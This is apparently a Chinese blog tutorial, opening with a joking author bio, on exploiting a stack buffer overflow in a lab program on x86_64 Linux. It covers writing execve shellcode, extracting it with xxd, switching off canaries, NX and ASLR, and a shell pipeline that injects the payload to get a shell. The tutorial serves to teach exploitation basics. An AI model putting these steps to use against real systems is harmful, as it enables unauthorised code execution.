插一條作(zhēng)者(hūn)簡(guǎng)介(gào):
作者簡介
黃東升,
西安郵電在讀研究生,
酷愛編碼,乾凈帥氣,
不打遊戲,聲音好聽,
笑起來像是在發光~ 關鍵還是單身。
都是傲嬌的孩子,
只賣獃萌的價格,
一套煎餅果子就能帶走他
1
棧緩衝區上限溢位概述
緩衝區上限溢位是一種歷史悠久的攻擊手段,在1988爆發的Morris worm就使用緩衝區上限溢位作為其中一種攻擊手段.簡單定義下,緩衝區上限溢位就是利用程式語言不進行陣列下標越界進行檢查的漏洞,向緩衝區寫入越界的資料,破壞緩衝區相鄰記憶體資料的一種手段。
具體而言,緩衝區上限溢位包含的變種有棧緩衝區上限溢位,堆緩衝區上限溢位等。
2
保護措施
為了保護系統不受緩衝區上限溢位的攻擊,研究人員提出了一系列的保護措施,包括:
地址空間隨機化(ASLR),在每次編譯連結時,將程式地址空間中的函式庫,程式碼段,資料段,堆疊的地址隨機化。
棧不可執行(NX),將棧的頁描述符的X位設定為0, 防止CPU執行攻擊者向棧中註入的程式碼。
金絲雀(canary),在棧底寫入一個魔數,當攻擊者實施棧上限溢位時,魔數就會被改寫,系統就會檢測到該程式已經受到了攻擊。
3
x86_64函式呼叫慣例及其棧幀
為了向棧中註入我們自己的程式碼,首先需要瞭解的是函式呼叫時的棧的變化。需要提前說明的是,x86是小端結構,棧的起點位於高地址。
寫一段簡單的程式碼:
gcc call.c -o call
objdump -d call
編譯之後,讓我們看看可執行檔案的情況。
圖3-1
下圖是main函式和maxn函式的棧幀變化示意圖
圖3-2
下圖是簡化後的函式的棧的結構
4
shellcode的編寫
shellcode就是我們註入到標的棧中的程式碼,shellcode的功能是使用execve函式得到一個shell。
x86-64的系統呼叫
從下圖可見,x86_64架構取消了傳統的中斷形式的系統呼叫,使用syscall指令實現系統呼叫。並且存放引數的暫存器也有所變化。execve的系統呼叫號也從0xb變為了0x3b
圖4-1 32bit 和 64bit 系統呼叫對比圖 [object Object]
程式碼實體
為了提高得到shell的成功率,我們使用行內彙編完成,程式碼並不難理解,需要說明的是有三點:
-
標號here和call指令的使用保證程式處於迴圈之中,不會自動退出
-
pop %rdi 將execve的引數 “/bin/sh” 的地址傳入rdi
-
在執行syscall之前需要使用xor rax, rax將rax暫存器清空
-
call指令將下一條指令的地址入棧儲存,這樣引數 “/bin/sh” 的地址也就儲存在了棧中
執行命令
gcc rop.c
編譯完成後,得到可執行檔案a.out
執行之後,可以看到shell成功執行
圖4-2
擷取shellcode
圖4-3
得到的可執行檔案包含很多段,我們需要截取出需要的部分
由上圖可以看到main函式的起點是0x4004d6, retq指令的地址為0x4004fe,4fe – 4d6 = 28, 所以我們將擷取的大小設定為32個位元組(8的整數倍)
使用xxd工具完成擷取操作,
xxd -s0x4d6 -l32 -p a.out > shellcode
使用-p引數輸出單純的16進位制資料
圖4-4
5
victim
先看一段有漏洞的程式碼,緩衝區大小為32個位元組。
接下來我們需要逐步關閉一些保護機制
1. 關閉金絲雀機制
gcc -fno-stack-protector -o victim victim.c
2. 關閉棧不可執行機制
execstack -s victim
3. 關閉地址空間隨機化
setarch arch
-R ./victim
執行多次我們會發現緩衝區的地址並不會改變
6
向棧中註入資料
接下來到了最關鍵的一步,向標的緩衝區註入資料。有兩個問題:
-
註入資料的內容
-
註入資料的長度
註入資料的內容
最終的目的是改變行程的執行路徑,讓其執行我們構造好的shellcode。由圖4-3可得main函式的最後一條指令是retq指令,該指令的行為是將棧頂所儲存的傳回地址賦給rip, 恢復行程的原執行路徑。
只要我們將傳回地址修改為shellcode的地址,當main函式執行retq指令後,就可以讓行程執行shellcode。
所以資料的內容應該是 shellcode + 填充位元組 + shellcode的地址(從低地址到高地址)
圖6-1
註入資料的長度
緩衝區是32位元組,儲存的棧底指標rbp是8個位元組,傳回地址是8個位元組,也就是32 + 8 + 8.而shellcode 是32個位元組,所以為了改寫整個棧幀,填充位元組應該是8(8個位元組的rbp),最後是8個位元組的shellcode的地址.也就是32 + 8+ 8.
開始獲取shell
由於x86是小端,所以我們需要顛倒緩衝區地址的次序(使用tac命令)
得到緩衝區地址
addr=$(echo | setarch arch
-R ./victim)
a=printf %16x $addr | tac -rs..
圖6-2
cat shellcode ; printf %016d 0 ;
echo $a | xxd -r -p ;
cat | setarch arch
-R ./victim
註入後的棧結構:
執行上述命令後,可以看到成功得到了一個shell。
7
總結
其實,由於地址空間隨機化和棧不可執行等保護措施,常規的棧緩衝區上限溢位攻擊已經失效.後來為了應對棧不可執行機制,出現了ret2lib 攻擊,在ret2lib中我們不再向棧中註入程式碼,而是利用libc中的系統呼叫system來獲取shell.隨後又出現了ROP(面向傳回程式設計).
附上一個指令碼
> https://github.com/DennisWong/Hack.git
參考
http://crypto.stanford.edu/~blynn/rop/
https://blog.csdn.net/mikayong/article/details/52057818 解釋了為什麼在shellcode中要使用call指令
https://en.wikipedia.org/wiki/Buffer_overflow